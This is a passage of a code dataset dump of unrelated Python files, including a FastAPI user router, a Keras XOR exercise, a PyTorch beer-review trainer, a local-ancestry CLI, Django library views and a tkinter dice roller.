'TODO'\n\n\n","sub_path":"Pong/src/pong_main.py","file_name":"pong_main.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"372046771","text":"\nimport typing as t\n\nfrom fastapi import APIRouter, Depends, Request, Response\n\nfrom app.api.api_v1.crud.user import (\n    create_user,\n    delete_user,\n    edit_user,\n    get_user,\n    get_users,\n)\nfrom app.api.api_v1.schemas.user import User, UserCreate, UserEdit\nfrom app.core.auth import get_current_active_superuser\n\nusers_router = r = APIRouter()\n\n\n@r.get(\n    \"/users\",\n    response_model=t.List[User],\n    response_model_exclude_none=True,\n)\nasync def users_list(\n    request: Request,\n    response: Response,\n    current_user=Depends(get_current_active_superuser),\n):\n    \"\"\"\n    Get all users\n    \"\"\"\n    users = get_users(request.state.db)\n    # This is necessary for react-admin to work\n    response.headers[\"Content-Range\"] = f\"0-9/{len(users)}\"\n    return users\n\n\n@r.get(\"/users/me\", response_model=User, response_model_exclude_none=True)\nasync def user_me(request: Request):\n    \"\"\"\n    Get own user\n    \"\"\"\n    return request.state.current_active_user\n\n\n@r.get(\n    \"/users/{user_id}\",\n    response_model=User,\n    response_model_exclude_none=True,\n)\nasync def user_details(\n    request: Request,\n    user_id: int,\n    current_user=Depends(get_current_active_superuser),\n):\n    \"\"\"\n    Get any user details\n    \"\"\"\n    user = get_user(request.state.db, user_id)\n    return user\n    # return encoders.jsonable_encoder(\n    #     user, skip_defaults=True, exclude_none=True,\n    # )\n\n\n@r.post(\"/users\", response_model=User, response_model_exclude_none=True)\nasync def user_create(\n    request: Request,\n    user: UserCreate,\n    current_user=Depends(get_current_active_superuser),\n):\n    \"\"\"\n    Create a new user\n    \"\"\"\n    return create_user(request.state.db, user)\n\n\n@r.put(\"/users/{user_id}\", response_model=User, response_model_exclude_none=True)\nasync def user_edit(\n    request: Request,\n    user_id: int,\n    user: UserEdit,\n    current_user=Depends(get_current_active_superuser),\n):\n    \"\"\"\n    Update existing user\n    \"\"\"\n    return edit_user(request.state.db, user_id, user)\n\n\n@r.delete(\"/users/{user_id}\", response_model=User, response_model_exclude_none=True)\nasync def user_delete(\n    request: Request,\n    user_id: int,\n    current_user=Depends(get_current_active_superuser),\n):\n    \"\"\"\n    Delete existing user\n    \"\"\"\n    return delete_user(request.state.db, user_id)\n","sub_path":"api/app/api/api_v1/routers/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"150168760","text":"import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom sklearn.svm import LinearSVC, SVC\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor\n\n\n# 1. 데이터\nx_data = np.array([[0, 0], [1, 0], [0, 1], [1, 1]])\ny_data = np.array([0, 1, 1, 0])\n\nprint(x_data.shape)\nprint(y_data.shape)\n\n\n# 2. 모델\n# model = LinearSVC()\n# model = SVC()\n# model = KNeighborsClassifier(n_neighbors = 1)\nmodel = Sequential()\n\nmodel.add(Dense(1000, input_shape = (2, )))\nmodel.add(Dense(1, activation = 'sigmoid'))\n\nmodel.summary()\n\n\n# 3. 훈련\nmodel.compile(loss = 'binary_crossentropy', optimizer = 'adam', metrics = ['acc'])\nmodel.fit(x_data, y_data, epochs = 100, batch_size = 1)\n\n\n# 4. 평가 예측\nres = model.evaluate(x_data, y_data)\n\nx_test = np.array([[0, 0], [1, 0], [0, 1], [1, 1]])\ny_predict = model.predict(x_test)\n\n# acc = accuracy_score([0, 1, 1, 0], y_predict)       # keras의 evaluate와 동일하다고 보면 됨; accuracy_score\n\n# print(x_test, \"의 예측 결과 : \", y_predict)\n# print(\"acc : \", acc)\n\nprint(\"acc : \", res[1])\nprint(y_predict)","sub_path":"ML/m04_xor4_keras.py","file_name":"m04_xor4_keras.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"201700584","text":"import math\nimport sys\nfrom collections import deque, Counter\n  \nimport collections\n\nNOTATION = '0123456789ABCDEF' \n\ndef numeral_system(number, base): # 10진수 n진수로의 변환\n  q, r = divmod(number, base) \n  n = NOTATION[r] \n  return numeral_system(q, base) + n if q else n\n\ndef solution(n, t, m, p):\n    maxs=\"\"\n    for i in range(t*m):\n        maxs+=numeral_system(i, n)\n    # n 진법 튜브의 순서 p, 게임에 참가하는 인원 m , 미리 구할 숫자의 갯수 t\n \n    answer = ''\n   \n    for i in range(t):\n        answer+=maxs[i*m+p-1]\n    return answer\n","sub_path":"2_20201127.py","file_name":"2_20201127.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"75498495","text":"from xlrd import open_workbook\nimport xlsxwriter as wx\nfrom collections import Counter\n\nproductid = ['productid', '贷款产品子编号']\nareacode = ['areacode', '区域']\nfor i in range(12):\n    filepath = str(i) + '.xls'\n    rb = open_workbook(filepath)\n    table = rb.sheets()[0]\n    productid = productid + [\n        i for i in table.col_values(0) if i != '' and i != productid[0] and\n        i != productid[1]]\n    areacode = areacode + [\n        i for i in table.col_values(1) if i != '' and\n        i != areacode[0] and i != areacode[1]]\n\n\ntotal = [str(productid[i]) + str(areacode[i]) for i in range(len(areacode))]\nmy_count = Counter(total)\nfor key in my_count:\n    if my_count[key] > 1:\n        print(key, my_count[key])\n        print('\\n')\n\n\nf = wx.Workbook('area_total.xlsx')\nsheet1 = f.add_worksheet()\n\nfor i in range(len(areacode)):\n    sheet1.write(i, 0, productid[i])\n    sheet1.write(i, 1, areacode[i])\nf.close()\n","sub_path":"area.py","file_name":"area.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"635224511","text":"import argparse\nimport os\nimport shutil\nimport nltk\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.utils.data.dataloader import DataLoader\n\nfrom dpp_nets.utils.language import Vocabulary, BeerDataset, custom_collate\nfrom dpp_nets.layers.layers import ChunkTrainer\n\n\nparser = argparse.ArgumentParser(description='marginal_chunk Krause Trainer')\nparser.add_argument('-a', '--aspect', type=str, choices=['aspect1', 'aspect2', 'aspect3', 'all', 'short'],\n                    help='what is the target?', required=True)\nparser.add_argument('-m', '--mode', type=str, choices=['words', 'chunks', 'sents'],\n                    help='what is the mode?', required=True)\nparser.add_argument('-b', '--batch-size', default=100, type=int,\n                    metavar='N', help='mini-batch size (default: 50)')\nparser.add_argument('--epochs', default=30, type=int, metavar='N',\n                    help='number of total epochs to run')\nparser.add_argument('--lr', '--learning_rate', default=1e-3, type=float,\n                    metavar='', help='initial learning rate')\nparser.add_argument('--reg', type=float, required=True,\n                    metavar='reg', help='regularization constant')\nparser.add_argument('--reg_mean', type=float, required=True,\n                    metavar='reg_mean', help='regularization_mean')\nparser.add_argument('-r', '--remote', type=int,\n                    help='training locally or on cluster?', required=True)\nparser.add_argument('--seed', type=int, default=1, metavar='S',\n                    help='random seed (default: 1)')\n\ndef main():\n\n    global vocab, args\n\n    lowest_loss = 100 # arbitrary high number as upper bound for loss\n\n    # Check for GPU\n    args = parser.parse_args()\n    args.cuda = torch.cuda.is_available()\n    \n    # Set Seed\n    torch.manual_seed(args.seed)\n    if args.cuda:\n        torch.cuda.manual_seed(args.seed)\n\n    # Set-up data\n    if args.remote:\n        train_path = '/home/paulusm/data/beer_reviews/' + 'reviews.' + args.aspect + '.train.' + args.mode + '.txt.gz'\n        val_path = '/home/paulusm/data/beer_reviews/' + 'reviews.' + args.aspect + '.heldout.' + args.mode + '.txt.gz'\n        embd_path = '/home/paulusm/data/beer_reviews/' + 'review+wiki.filtered.200.txt.gz'\n        word_path = '/home/paulusm/data/beer_reviews/' + 'reviews.' + args.aspect + '.train.' + 'words.txt.gz'\n    else:\n        train_path = '/Users/Max/data/beer_reviews/' + 'reviews.' + args.aspect + '.train.' + args.mode + '.txt.gz'\n        val_path = '/Users/Max/data/beer_reviews/' + 'reviews.' + args.aspect + '.heldout.' + args.mode + '.txt.gz'\n        embd_path = '/Users/Max/data/beer_reviews/' + 'review+wiki.filtered.200.txt.gz'\n        word_path = '/Users/Max/data/beer_reviews/' + 'reviews.' + args.aspect + '.train.' + 'words.txt.gz'\n\n    # Set-up vocabulary\n    vocab = Vocabulary()\n    vocab.loadPretrained(embd_path)\n    vocab.setStops()\n    vocab.loadCorpus(word_path)\n    vocab.updateEmbedding()\n    vocab.setCuda(args.cuda)\n    print('set up vocabulary')\n\n    # Set up datasets and -loader\n    train_set = BeerDataset(train_path, vocab)\n    val_set = BeerDataset(val_path, vocab)\n    kwargs = {'num_workers': 0, 'pin_memory': True} if args.cuda else {}\n\n    my_collate = custom_collate(vocab, args.cuda)\n    train_loader = torch.utils.data.DataLoader(train_set, collate_fn=my_collate, batch_size=args.batch_size, shuffle=True, **kwargs)\n    val_loader = torch.utils.data.DataLoader(train_set, collate_fn=my_collate, batch_size=args.batch_size, **kwargs)\n\n    # Network parameters\n    EMBD_DIM = 200\n    KERNEL_DIM = 200\n    HIDDEN_DIM = 500\n    ENC_DIM = 200\n    TARGET_DIM = 3 if args.aspect in set(['all', 'short']) else 1\n\n    # Conventional trainer\n    trainer = ChunkTrainer(EMBD_DIM, HIDDEN_DIM, KERNEL_DIM, ENC_DIM, TARGET_DIM)\n    trainer.activation = nn.Sigmoid()\n    trainer.reg = args.reg\n    trainer.reg_mean = args.reg_mean\n\n    print(\"created trainer\")\n\n    # Set-up optimizer\n    params = [{'params': vocab.EmbeddingBag.parameters()}, {'params': trainer.parameters()}]\n    optimizer = torch.optim.Adam(params, lr=args.lr)\n\n    ### Loop\n    for epoch in range(args.epochs):\n\n        for t, batch in enumerate(train_loader):\n            pass\n\n\ndef train(loader, trainer, optimizer):\n\n    trainer.train()\n\n    for t, batch in enumerate(loader):\n\n        reviews, target = batch\n\n        loss  = trainer(reviews, target)\n        \n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n        #print(\"trained one batch\")\n\ndef validate(loader, trainer):\n\n    trainer.eval()\n\n    total_loss = 0.0\n    total_pred_loss = 0.0\n    total_reg_loss = 0.0\n\n    for i, batch in enumerate(loader, 1):\n\n        review, target = batch\n\n        trainer(review, target)\n\n        loss = trainer.loss.data[0]\n        pred_loss = trainer.pred_loss.data[0]\n        reg_loss = trainer.reg_loss.data[0]\n\n        delta = loss - total_loss\n        total_loss += (delta / i)\n        delta = pred_loss - total_pred_loss \n        total_pred_loss += (delta / i)\n        delta = reg_loss - total_reg_loss\n        total_reg_loss += (delta / i)\n\n        # print(\"validated one batch\")\n\n    return total_loss, total_pred_loss, total_reg_loss\n\ndef adjust_learning_rate(optimizer, epoch):\n    \"\"\"Sets the learning rate to the initial LR multiplied by factor 0.1 for every 10 epochs\"\"\"\n    if not ((epoch + 1) % 10):\n        factor = 0.1\n        for param_group in optimizer.param_groups:\n            param_group['lr'] = param_group['lr'] * factor\n\ndef log(epoch, loss, pred_loss, reg_loss):\n\n    string = str.join(\" | \", ['Epoch: %d' % (epoch), 'V Loss: %.5f' % (loss), \n                              'V Pred Loss: %.5f' % (pred_loss), 'V Reg Loss: %.5f' % (reg_loss)])\n\n    if args.remote:\n        destination = '/home/paulusm/checkpoints/beer_reviews/' + str(args.aspect) + str(args.mode) + 'reg' + str(args.reg) + 'reg_mean' + str(args.reg_mean) + 'lr' + str(args.lr) +  'log_marginal.txt'\n    else:\n        destination = '/Users/Max/checkpoints/beer_reviews/' + str(args.aspect) + str(args.mode) + 'reg' + str(args.reg) + 'reg_mean' + str(args.reg_mean) + 'lr' + str(args.lr) +  'log_marginal.txt'\n\n\n    with open(destination, 'a') as log:\n        log.write(string + '\\n')\n\ndef save_checkpoint(state, is_best, filename='marginal_chunk_checkpoint.pth.tar'):\n    \"\"\"\n    State is a dictionary that cotains valuable information to be saved.\n    \"\"\"\n    if args.remote:\n        destination = '/home/paulusm/checkpoints/beer_reviews/' + str(args.aspect) + str(args.mode) + 'reg' + str(args.reg) + 'reg_mean' + str(args.reg_mean) + 'lr' + str(args.lr) + 'marginal_ckp.pth.tar'\n    else:\n        destination = '/Users/Max/checkpoints/beer_reviews/' + str(args.aspect) + str(args.mode) + 'reg' + str(args.reg) + 'reg_mean' + str(args.reg_mean) + 'lr' + str(args.lr) +  'marginal_ckp.pth.tar'\n\n    torch.save(state, destination)\n\n    if is_best:\n        if args.remote:\n            best_destination = '/home/paulusm/checkpoints/beer_reviews/' + str(args.aspect) + str(args.mode) + 'reg' + str(args.reg) + 'reg_mean' + str(args.reg_mean) + 'lr' + str(args.lr) + 'marginal_best_ckp.pth.tar'\n        else:\n            best_destination = '/Users/Max/checkpoints/beer_reviews/' + str(args.aspect) + str(args.mode) + 'reg' + str(args.reg) + 'reg_mean' + str(args.reg_mean) + 'lr' + str(args.lr) + 'marginal_best_ckp.pth.tar'\n\n        shutil.copyfile(destination, best_destination)\n\nif __name__ == '__main__':\n    main()\n    \n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"480120327","text":"import admix\nimport subprocess\nimport dapgen\nimport os\nimport glob\nimport numpy as np\nimport pandas as pd\nfrom ._utils import log_params\n\n\ndef lanc(\n    pfile: str,\n    ref_pfile: str,\n    ref_pop_col: str,\n    ref_pops: str,\n    out: str,\n):\n    log_params(\"lanc\", locals())\n\n    sample_dset = admix.io.read_dataset(pfile=pfile)\n    ref_dset = admix.io.read_dataset(pfile=ref_pfile)\n\n    assert set(sample_dset.snp.index) == set(ref_dset.snp.index), (\n        \"`pfile` and `ref_pfile` must have the same snp index\"\n        \"(snp match feature coming soon).\"\n    )\n\n    ref_dsets = [\n        ref_dset[:, (ref_dset.indiv[ref_pop_col] == pop).values] for pop in ref_pops\n    ]\n    est = admix.ancestry.lanc(sample_dset=sample_dset, ref_dsets=ref_dsets)\n    admix.data.Lanc(array=est).write(out)\n\n\ndef lanc_count(lanc: str, out: str, n_anc: int = None):\n    \"\"\"Count the number / proportion of local ancestries for each individual\n\n    Parameters\n    ----------\n    lanc : str\n        path to the lanc file, this can be a .lanc file, a wildcard of .lanc files,\n        or a directory containing .lanc files. If the corresponding .psam file is\n        present, the .psam file will be used as the individual list.\n    out : str\n        path to the output file\n    n_anc : int\n        number of ancestral populations in the data\n    \"\"\"\n    log_params(\"lanc-count\", locals())\n    if lanc.endswith(\".lanc\"):\n        lanc_path = [lanc]\n    elif \"*\" in lanc:\n        lanc_path = glob.glob(lanc)\n    elif os.path.isdir(lanc):\n        lanc_path = [p for p in glob.glob(lanc + \"/*.lanc\")]\n    else:\n        raise ValueError(\"Unable to parse lanc pathname\")\n\n    admix.logger.info(f\"Found {len(lanc_path)} lanc files: {','.join(lanc_path)}\")\n    # read psam if available\n    psam_path = [p.replace(\".lanc\", \".psam\") for p in lanc_path]\n\n    if all(os.path.exists(p) for p in psam_path):\n        # check all psam files have the same individual ID\n        psam_indiv = [dapgen.read_psam(p).index for p in psam_path]\n        assert all(\n            psam_indiv[0].equals(i) for i in psam_indiv[1:]\n        ), \"Individuals in psam files do not match\"\n        indiv_list = psam_indiv[0].values\n    elif not any(os.path.exists(p) for p in psam_path):\n        indiv_list = None\n    else:\n        raise ValueError(\"either .psam all exists or none exists\")\n\n    lanc_mat = admix.data.Lanc(lanc_path[0])\n    n_indiv = lanc_mat.n_indiv\n    if indiv_list is not None:\n        assert n_indiv == len(\n            indiv_list\n        ), \"Number of individuals in lanc and psam files do not match\"\n    else:\n        indiv_list = np.arange(n_indiv).astype(str)\n\n    lanc_count = lanc_mat.lanc_count()\n    if n_anc is not None:\n        assert (\n            lanc_count.shape[1] == n_anc\n        ), \"Number of ancestral populations do not match\"\n    else:\n        n_anc = lanc_count.shape[1]\n        admix.logger.info(f\"Inferred number of ancestral populations: {n_anc}\")\n\n    for p in lanc_path[1:]:\n        lanc_count += admix.data.Lanc(p).lanc_count(n_anc=n_anc)\n\n    lanc_prop = lanc_count / lanc_count.sum(axis=1, keepdims=True)\n    admix.logger.info(f\"Writing lanc count file: {out}\")\n\n    count_cols = [f\"COUNT{i + 1}\" for i in range(n_anc)]\n    prop_cols = [f\"PROP{i+1}\" for i in range(n_anc)]\n    df_res = pd.DataFrame(\n        data=np.concatenate([lanc_count, lanc_prop], axis=1),\n        index=indiv_list,\n        columns=count_cols + prop_cols,\n    )\n\n    df_res[count_cols] = df_res[count_cols].astype(int)\n    df_res.index.name = \"indiv\"\n    df_res.to_csv(out, sep=\"\\t\", float_format=\"%.4g\")\n\n\ndef lanc_convert(pfile: str, out: str, rfmix: str = None, raw: str = None):\n    \"\"\"Convert local ancestry inference results (e.g. RFmix .msp.tsv) to a .lanc file\n\n    Parameters\n    ----------\n    pfile : str\n        Path to the pfile. The path is without the .pgen suffix\n    out : str\n        Path to the output file\n    rfmix : str\n        Path to the rfmix .msp.tsv file,\n    raw : str\n        Path to the raw file\n    \"\"\"\n    log_params(\"lanc-convert\", locals())\n\n    # only one of rfmix and raw should be specified\n    assert (rfmix is None) + (\n        raw is None\n    ) == 1, \"Only one of rfmix and raw should be specified\"\n    if rfmix is not None:\n        geno, df_snp, df_indiv = dapgen.read_pfile(pfile, phase=True)\n        admix.logger.info(f\"Reading rfmix file: {rfmix}\")\n        lanc = admix.io.read_rfmix(\n            path=rfmix,\n            df_snp=df_snp,\n            df_indiv=df_indiv,\n        )\n        admix.logger.info(f\"Obtaining local ancestry {lanc}\")\n        admix.logger.info(f\"Writing lanc file: {out}\")\n        lanc.write(out)\n\n    if raw is not None:\n        assert False, \"raw not implemented yet\"\n\n\ndef lanc_impute(pfile: str, ref_pfile: str, out: str = None):\n    \"\"\"Impute the local ancestry for `pfile` using `ref_pfile`\n\n    Parameters\n    ----------\n    pfile : str\n        Path to the pfile\n    ref_pfile : str\n        Path to the reference pfile\n    out : str\n        Path to the output pfile (default to pfile + \".lanc\")\n    \"\"\"\n    log_params(\"lanc-impute\", locals())\n\n    # check <pfile>.lanc does not exist\n    assert not os.path.exists(pfile + \".lanc\"), \"`pfile` already has a .lanc file\"\n\n    sample_dset = admix.io.read_dataset(pfile=pfile)\n    ref_dset = admix.io.read_dataset(pfile=ref_pfile)\n    ref_lanc = admix.data.Lanc(ref_pfile + \".lanc\")\n\n    sample_lanc = ref_lanc.impute(\n        ref_dset.snp[[\"CHROM\", \"POS\"]].values, sample_dset.snp[[\"CHROM\", \"POS\"]].values\n    )\n    if out is None:\n        out = pfile + \".lanc\"\n    assert not os.path.exists(out), f\"out={out} already exists\"\n    sample_lanc.write(out)\n","sub_path":"admix/cli/_lanc.py","file_name":"_lanc.py","file_ext":"py","file_size_in_byte":5636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"170858511","text":"import re\n\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.db import IntegrityError\nfrom django.db.models import Q\nfrom django.http import Http404\nfrom django.shortcuts import redirect, get_object_or_404, render_to_response, render\nfrom django.views.generic import ListView, CreateView, DeleteView, UpdateView, DetailView, TemplateView\nfrom invitations.admin import Invitation\nfrom registration.forms import User\n\nfrom user_catalog.forms import LendingForm\nfrom user_catalog.models import LibraryFriend, BookExchangeEvent\nfrom library.models import BookInstance\nfrom django.utils import timezone\n\n\nclass LibraryList(ListView):\n    model = BookInstance\n    template_name = 'bookinstance_list.html'\n    success_url = 'library_list'\n\n    def get_queryset(self):\n        if self.request.user.is_authenticated():\n            query = self.request.GET.get('query', '')\n            obj = BookInstance.objects.filter(reader=self.request.user)\n            if query:\n                if self.request.GET['searchby'] == 'Title':\n                    return obj.filter(book__title__icontains=query)\n                else:\n                    return obj.filter(book__author__icontains=query)\n            return obj\n        return None\n\n    def get_context_data(self, **kwargs):\n        context = super(LibraryList, self).get_context_data(**kwargs)\n        if self.request.user.is_authenticated():\n            in_library = self.get_queryset().filter(lent_outside=False, lent_to_someone__isnull=True)\n            outside = self.get_queryset().filter(Q(lent_outside=True) | Q(lent_to_someone__isnull=False))\n            borrowed = BookInstance.objects.filter(lent_to_someone=self.request.user)\n            context.update({'queryset': in_library, 'owner': True, 'outside': outside, 'borrowed': borrowed })\n            return context\n\n\nclass BookInstanceCreate(CreateView):\n    model = BookInstance\n    success_url = reverse_lazy('library_list')\n    template_name = 'user_catalog/bookinstance_form.html'\n    fields = ['reader', 'book', 'currently_reading', 'finished', 'comment']\n\n    def get_form(self, form_class):\n        \"\"\"\n        Returns an instance of the form to be used in this view.\n        \"\"\"\n        form = form_class(**self.get_form_kwargs())\n        lib_friends = LibraryFriend.objects.filter(user=self.request.user)\n        mails = [lib_friend.mail for lib_friend in lib_friends]\n        mails.append(self.request.user.email)\n        form.fields['reader'].queryset = User.objects.filter(email__in=mails)\n        return form\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data()\n        context.update({'create': True})\n        return context\n\n\nclass BookInstanceDelete(DeleteView):\n    model = BookInstance\n    success_url = reverse_lazy('library_list')\n    template_name = 'user_catalog/bookinstance_delete.html'\n\n\nclass BookInstanceUpdate(UpdateView):\n    model = BookInstance\n    success_url = reverse_lazy('library_list')\n    template_name = 'user_catalog/bookinstance_form.html'\n    fields = ['currently_reading', 'finished', 'comment']\n\n\n    def post(self, request, *args, **kwargs):\n            self.object = self.get_object()\n            return super(UpdateView, self).post(request, *args, **kwargs)\n\n\nclass BookInstanceDetail(DetailView):\n    model = BookInstance\n    success_url = reverse_lazy('library_list')\n    template_name = 'user_catalog/bookinstance_detail.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data()\n        if self.request.user.is_authenticated():\n            if self.request.user == kwargs['object'].reader:\n                context.update({'owner': True})\n            # Lending\n            lending_form = LendingForm()\n            lending_form.fields['lend_to_someone'].queryset = User.objects.filter(~Q(pk=self.request.user.pk))\n\n            context.update({'lending_form': lending_form})\n            # Echange history\n            instance = BookInstance.objects.get(pk=self.kwargs['pk'])\n            history = BookExchangeEvent.objects.filter(bookinstance=instance)\n            context.update({'history': history})\n            return context\n        else:\n            return context\n\n    def post(self, request, *args, **kwargs):\n        bookinstance = BookInstance.objects.get(pk=kwargs['pk'])\n        if 'record_return' in request.POST:\n            messages.add_message(request, messages.SUCCESS, 'Return recoded.')\n            bookinstance.record_return()\n            e = BookExchangeEvent(\n                    status='IL',\n                    bookinstance=bookinstance,\n                    date=timezone.now(),\n                    give_back_date=timezone.now()\n                )\n            e.save()\n            return redirect(reverse_lazy('book_instance_details', kwargs={'pk': kwargs['pk']}))\n        else:\n            form = LendingForm(request.POST)\n            print('form1!!!')\n            if form.is_valid():\n                print('VALID FORM')\n                if request.POST.get('lend_outside'):\n                    e = BookExchangeEvent(\n                        status='LO',\n                        bookinstance=bookinstance,\n                        date=timezone.now(),\n                        give_back_date=request.POST.get('give_back_date')\n                    )\n                    e.save()\n                    bookinstance.lent_outside = True\n                    bookinstance.save()\n                elif request.POST.get('lend_to_someone', 0):\n                    user = User.objects.get(pk=request.POST.get('lend_to_someone'))\n                    e = BookExchangeEvent(\n                        status='LU',\n                        date=timezone.now(),\n                        bookinstance=bookinstance,\n                        reader=user,\n                        give_back_date=request.POST.get('give_back_date')\n                    )\n                    e.save()\n                    bookinstance.lent_to_someone = user\n                    bookinstance.save()\n                    messages.add_message(request, messages.SUCCESS, 'Lending successful.')\n            else:\n                messages.add_message(request, messages.WARNING, 'Provided date is incorrect')\n            return redirect(reverse_lazy('book_instance_details', kwargs={'pk': kwargs['pk']}))\n\n\nclass FriendLibraryList(ListView):\n    model = BookInstance\n    template_name = 'bookinstance_list.html'\n\n    def get_context_data(self, *args, **kwargs):\n        context = super(FriendLibraryList, self).get_context_data(**kwargs)\n        if self.request.user.is_authenticated():\n            my_object = get_object_or_404(User, pk=self.kwargs['pk'])\n            context.update({'foreign': True})\n\n            friends_id = self.kwargs['pk']\n            owner = User.objects.get(id=friends_id)\n            context.update({'friend': owner})\n            if owner == self.request.user:\n                context.update({'owner': True})\n            # Check if we have access to this library\n            if not LibraryFriend.objects.filter(user=owner, mail=self.request.user.email).exists():\n                context.update({'alien': True})\n            else:\n                q = BookInstance.objects.filter(reader=owner)\n                context.update({'queryset': q})\n            return context\n        else:\n            return context\n\n\nclass FriendsMainView(TemplateView):\n    template_name = 'user_catalog/friends_template.html'\n    success_url = reverse_lazy('friends')\n\n    def get_context_data(self, **kwargs):\n        context = super(FriendsMainView, self).get_context_data(**kwargs)\n        if self.request.user.is_authenticated():\n            mails = LibraryFriend.objects.filter(user=self.request.user)\n            context.update({'invited': mails})\n\n            invitations = LibraryFriend.objects.filter(mail=self.request.user.email)\n            context.update({'invitations': invitations})\n        return context\n\n    def post(self, request, *args, **kwargs):\n        mail_address = request.POST['invite']\n        if not re.match(r\"[^@]+@[^@]+\\.[^@]+\", mail_address):\n            messages.add_message(request, messages.WARNING, 'Invalid email address.')\n            return redirect(self.success_url)\n\n        if mail_address == self.request.user.email:\n            messages.add_message(request, messages.WARNING, 'You cannot invite yourself.')\n            return redirect(self.success_url)\n\n        if not User.objects.filter(email=mail_address).exists():\n            try:\n                invite = Invitation.create(mail_address, inviter=request.user)\n                invite.send_invitation(request)\n                messages.add_message(request, messages.INFO, 'An invitation has been sent!')\n            except IntegrityError:\n                messages.add_message(request, messages.WARNING, 'User already invited!')\n        else:\n            messages.add_message(request, messages.WARNING, 'User already exists in the system!')\n        #     If this user is our friend already\n        if LibraryFriend.objects.filter(mail=mail_address, user=self.request.user).exists():\n            messages.add_message(request, messages.WARNING, 'This user is your friend already.')\n            return redirect(self.success_url)\n        # Create an instance of LibraryFrend here\n        messages.add_message(request, messages.INFO, 'Mail added to a friend base.')\n        friend = LibraryFriend(user=self.request.user, mail=mail_address)\n        friend.save()\n        self.object = None\n        return redirect(self.success_url)","sub_path":"bookstore/user_catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"258690701","text":"from tkinter import *\nimport random\n\nroot = Tk()\nx=0\nroot.title(\"ACTION\")\n\nframe = Frame(root,background='red')\nframe.pack()\ncanvas = Canvas(height=180,width=120)\ncanvas.pack()\nimage2 = PhotoImage(file=\"one.png\")\ncanvas.create_image(0, 0,anchor='nw', image=image2)\ncanvas.image = image2\n\ndef roll():\n    global x\n    x=random.randrange(1,7)\n    if(x is 1):\n        canvas.delete(\"all\")\n        image1 = PhotoImage(file=\"one.png\")\n        canvas.create_image(0, 0, anchor='nw', image=image1)\n        canvas.image = image1\n    elif(x is 2):\n        canvas.delete(\"all\")\n        image1 = PhotoImage(file=\"two.png\")\n        canvas.create_image(0, 0, anchor='nw', image=image1)\n        canvas.image = image1\n    elif(x is 3):\n        canvas.delete(\"all\")\n        image1 = PhotoImage(file=\"three.png\")\n        canvas.create_image(0, 0, anchor='nw', image=image1)\n        canvas.image = image1\n    elif(x is 4):\n        canvas.delete(\"all\")\n        image1 = PhotoImage(file=\"four.png\")\n        canvas.create_image(0, 0, anchor='nw', image=image1)\n        canvas.image = image1\n    elif(x is 5):\n        canvas.delete(\"all\")\n        image1 = PhotoImage(file=\"five.png\")\n        canvas.create_image(0, 0, anchor='nw', image=image1)\n        canvas.image = image1\n    else:\n        canvas.delete(\"all\")\n        image1 = PhotoImage(file=\"six.png\")\n        canvas.create_image(0, 0, anchor='nw', image=image1)\n        canvas.image = image1\n\nbutton1=Button(frame,text=\"roll it\",width=25,fg=\"white\",bg=\"black\",command=roll)\nbutton1.pack(side=RIGHT)\nroot.mainloop()\n\n","sub_path":"untitled/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"150943610","text":"configuration = {\n    'root_path': '/Users/howllow/SharedWithUB/Distributed-PageRank/',\n    'data_path': 'slash.txt',\n    'jitter': '\\t',\n    'splitter': 'random', # another option is 'random'\n    'split_part': 2,\n    'tmp_data': 'tmp/',\n    'node_path': 'node.txt',\n    'edge_path': 'edge.txt',\n    'split_path': 'split.txt',\n    'subgraph_path': 'slash.random.',\n    'graph_path': 'graph.txt'\n}","sub_path":"GraphCut/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
